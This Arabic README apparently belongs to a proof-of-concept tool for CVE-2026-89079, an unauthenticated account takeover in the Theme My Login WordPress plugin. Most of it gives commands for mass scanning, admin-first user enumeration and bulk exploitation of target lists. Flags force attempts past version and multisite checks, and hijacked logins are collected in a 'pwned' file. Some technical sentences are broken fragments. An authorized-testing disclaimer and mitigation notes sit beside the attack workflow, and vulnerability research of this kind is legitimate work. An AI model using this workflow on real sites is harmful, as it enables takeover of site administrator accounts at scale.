
إثبات مفهوم بلغة Python للثغرة CVE-2026-89079: يحدد بصمة الإصدار Theme My Login <=7.2.1 على WordPress multisite، ثم يستغل الكتابة فوق كلمة المرور دون مصادقة عبر lost-password ويتحقق من تسجيل الدخول.
أدوات بحث أمني لـ CVE-2026-89079: استيلاء على الحساب دون مصادقة على WordPress multisite عندما يكون Theme My Login ≤ 7.2.1 مع تفعيل خيار الشبكة tml_user_passwords.
للاختبار المصرّح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها.
| Plugin | Theme My Login |
| Affected | ≤ 7.2.1 |
| Fixed | 7.2.2+ (06b7623) |
| CWE | CWE-269 Improper Privilege Management |
| CVSS 3.1 | 9.8 (Critical) |
يجب أن تتحقق الشروط الثلاثة جميعًا:
is_multisite() — لا يُحمَّل ms-hooks.php إلا على WordPress multisite حقيقي (وليس على TML /register/ في موقع مفرد).get_site_option( 'tml_user_passwords' ) — خيار الشبكة "كلمات مرور التسجيل التي يختارها المستخدم".tml_ms_filter_pre_insert_user_data() قيمة $_POST['user_pass1'] على retrieve_password() → wp_update_user().استجابة checkemail=confirm بعد POST استعادة كلمة المرور لا تُثبت أن كلمة المرور قد تغيّرت؛ فهي سلوك WordPress الطبيعي عندما يكون الفلتر المصاب غير نشط.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
المخرجات (الافتراضية):
| الملف | المحتوى |
|---|---|
cve_2026_89079_results.jsonl | جميع الأهداف + finding_status، تلميحات multisite / user_pass1 |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (علامة تبويب: URL، الإصدار، best_login اختياري) |
cve_2026_89079_eligible.txt | استدلال أكثر صرامة: تسجيل شبكي + تسجيل user_pass1 (ليس ضمانًا) |
تتضمن قيم finding_status ما يلي: NOT_DETECTED، PATCHED، POTENTIALLY_VULNERABLE، PRECONDITIONS_UNKNOWN، VERIFICATION_INCONCLUSIVE، NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
أعلام مفيدة:
| العلم | الغرض |
|---|---|
--no-require-multisite | المحاولة حتى عندما تفشل استدلالية multisite (العديد من مواقع TML أحادية الموقع) |
--require-user-passwords | التخطي عندما تفتقر صفحات التسجيل إلى user_pass1 |
--only-eligible | استغلال الصفوف التي تحتوي على exploit_eligible فقط من --check-jsonl السابق |
--verify-only | لا إرسال كلمة مرور POST / لا تسجيل دخول — تشخيصات النموذج ونقطة النهاية فقط |
--skip-version-check | فرض المحاولة عندما يكون readme محظورًا |
-q | تسجيل مجمّع أكثر هدوءًا |
المخرجات: cve_2026_89079_exploit.jsonl، cve_2026_89079_pwned.txt (عمليات تسجيل الدخول الناجحة).
python -m unittest discover -s tests -v
tml_lost_password_handler() → النواة retrieve_password().wp_pre_insert_user_data يتجاهل التحديثات أثناء استعادة كلمة المرور المفقودة ($update).wp-signup.php → /register/ (وهو إنذار كاذب شائع في TML أحادي الموقع).html.parser؛ ويدعم استعادة كلمة المرور المفقودة عبر AJAX في TML عند تهيئتها.tml_user_passwords أو الإضافة حتى يتم الترقيع.user_pass1.هذا المشروع مخصّص لبحوث الأمن الدفاعي، والتحقق من الترقيعات، واختبار الاختراق المصرّح به. يُحظر إساءة الاستخدام. ولا يتحمّل المؤلفون أي مسؤولية عن الاستخدام غير المصرّح به.